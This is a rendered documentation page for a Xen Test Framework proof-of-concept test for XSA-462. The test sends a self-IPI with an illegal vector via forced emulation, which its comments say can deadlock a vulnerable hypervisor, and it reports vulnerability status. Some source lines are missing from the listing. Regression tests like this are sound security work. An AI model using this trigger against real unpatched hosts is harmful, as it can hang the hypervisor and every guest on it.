Xen Test Framework
main.c
Go to the documentation of this file.
1
17#define TEST_APIC_MODE APIC_MODE_XAPIC
18
19#include <xtf.h>
20
21const char test_title[] = "XSA-462 PoC";
22
23/* apic_icr_write() using FEP */
25{
27 {
28 apic_mmio_write(APIC_ICR2, (uint32_t)(val >> 32));
29
30 asm volatile (_ASM_XEN_FEP "movl %[val], %[ptr]"
31 : [ptr] "+m" (*(uint32_t *)(_p(APIC_DEFAULT_BASE) + APIC_ICR))
32 : [val] "ri" ((uint32_t)val));
33 }
34 else
35 asm volatile (_ASM_XEN_FEP "wrmsr" ::
36 "a" ((uint32_t)val), "d" ((uint32_t)(val >> 32)),
37 "c" (MSR_X2APIC_REGS + (APIC_ICR >> 4)));
38}
39
40void test_main(void)
41{
42 uint32_t esr;
43 int rc;
44
45 if ( !xtf_has_fep )
46 xtf_skip("FEP support not detected - test not reliable\n");
47
48 if ( (rc = apic_init(APIC_MODE_XAPIC)) < 0 )
49 return xtf_error("Error: apic_init(xAPIC) %d\n", rc);
50
51 /*
52 * Set up the APIC. Clear ESR, and set up LVTERR with an illegal vector.
53 */
56
57 /*
58 * Send a IPI with an illegal vector to ourselves.
59 *
60 * For non-FEP, this is intentionally not DEST_SELF to reduce the chance
61 * that it's accelerated by APICV/AVIC. This also assumes that vCPU0's
62 * APIC_ID is 0, which happens to have always been true in Xen. FEP
63 * follows suit for consistency.
64 *
65 * This generates a Send Illegal Vector, which triggers a interrupt
66 * through LVTERR. Doing so further generates a Receive Illegal Vector,
67 * which may deadlock Xen.
68 */
69 if ( xtf_has_fep )
71 else
73
74 /*
75 * At this point, if Xen is still alive, it didn't deadlock.
76 *
77 * Check that ESR matches expectations.
78 */
80 esr = apic_read(APIC_ESR);
81
82 if ( esr != (APIC_SIV | APIC_RIV) )
83 return xtf_error("Error: ESR expected %#x, got %#x\n",
84 (APIC_SIV | APIC_RIV), esr);
85
86 xtf_success("Success: %s vulnerable to XSA-462\n",
87 xtf_has_fep ? "Not" : "Probably not");
88}
89
90/*
91 * Local variables:
92 * mode: C
93 * c-file-style: "BSD"
94 * c-basic-offset: 4
95 * tab-width: 4
96 * indent-tabs-mode: nil
97 * End:
98 */
int apic_init(enum apic_mode mode)
Discover and initialise the local APIC to the requested mode.
Definition: apic.c:33
@ APIC_MODE_XAPIC
Definition: apic.h:45
#define APIC_DM_FIXED
Definition: apic.h:29
static void apic_mmio_write(unsigned int reg, uint32_t val)
Definition: apic.h:60
#define APIC_SIV
Definition: apic.h:25
#define APIC_DEFAULT_BASE
Definition: apic.h:37
#define APIC_ESR
Definition: apic.h:24
static void apic_icr_write(uint64_t val)
Definition: apic.h:121
#define APIC_RIV
Definition: apic.h:26
#define CUR_APIC_MODE
Definition: apic.h:103
#define APIC_LVTERR
Definition: apic.h:35
static uint32_t apic_read(unsigned int reg)
Definition: apic.h:105
#define APIC_ICR2
Definition: apic.h:34
static void apic_write(unsigned int reg, uint32_t val)
Definition: apic.h:113
#define APIC_ICR
Definition: apic.h:28
#define _ASM_XEN_FEP
Xen Forced Emulation Prefix.
Definition: xen.h:150
bool xtf_has_fep
Boolean indicating whether generic Force Emulation Prefix support is available for the test to use.
Definition: setup.c:276
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
#define MSR_X2APIC_REGS
Definition: msr-index.h:47
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
void xtf_skip(const char *fmt,...)
Report a test skip.
Definition: report.c:66
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
__UINT32_TYPE__ uint32_t
Definition: stdint.h:16
__UINT64_TYPE__ uint64_t
Definition: stdint.h:17
static void apic_icr_force_write(uint64_t val)
Definition: main.c:24